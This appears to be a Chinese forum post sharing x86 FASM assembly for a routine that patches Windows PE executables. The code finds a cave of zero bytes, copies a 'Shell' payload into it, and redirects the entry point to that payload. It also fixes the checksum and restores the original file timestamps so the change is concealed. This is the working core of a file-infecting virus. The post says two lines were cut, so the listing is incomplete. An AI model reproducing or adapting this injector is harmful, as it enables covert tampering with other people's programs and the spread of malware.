寻找空隙,添加代码.比你的直接了当简单啊
中间删了两句
proc _PatchFile
locals
@hMem rd 1
@dwFileSize rd 1
@dwPeHdr rd 1
@stFileTime FILETIME
endl
callw CreateFile,strFile,GENERIC_WRITE or GENERIC_READ,\
FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
xchg eax,ebx
callw GetFileTime,ebx,edx,edx,addr @stFileTime
callw GetFileSize,ebx,NULL
mov [@dwFileSize],eax
callw GlobalAlloc,GMEM_ZEROINIT,edi
mov [@hMem],eax
callw ReadFile,ebx,esi,edi,esp,NULL,eax
pop eax
add esi,[esi+$3C] ;esi->PeHdr
mov [@dwPeHdr],esi
mov esi,[esi+0x10C]
add esi,[@hMem]
.reloop:
xor ecx,ecx
.loop:
lodsb
inc ecx
cmp ecx,Shell.size+1+4+4
je .loopover
test al,al
je .loop
jmp .reloop
.loopover:
sub esi,ecx
add esi,4
mov ecx,esi
call .Offset2RVA
mov edi,[@dwPeHdr]
mov ecx,[edi+0x28]
mov [edi+0x28],eax
sub ecx,eax
sub ecx,5+Shell.jmp-Shell
mov [Shell.jmp+1],ecx
mov ecx,Shell.size
mov edi,Shell
xchg esi,edi
rep movsb
push eax
mov ecx,esp
callw CheckSumMappedFile,[@hMem],[@dwFileSize],ecx,ecx
mov edi,[@dwPeHdr]
pop dword[edi+0x58]
xor edi,edi
callw SetFilePointer,ebx,edi,edi,edi
mov ecx,esp
callw WriteFile,ebx,[@hMem],[@dwFileSize],ecx,edi,eax
callw SetFileTime,ebx,edx,edx,addr @stFileTime
callw CloseHandle,ebx
ret
;-------------------------------
.Offset2RVA: ;arg = ecx
pushad
sub ecx,[@hMem]
mov edx,[@dwPeHdr]
add edx,0xF8-0x28
@@:
add edx,0x28
mov eax,[edx+0x14]
cmp ecx,eax
jb @B
add eax,[edx+0x10]
cmp ecx,eax
ja @B
mov eax,[edx+0xC]
sub eax,[edx+0x14]
add eax,ecx
mov dword[esp+4*7],eax
popad
retn
endp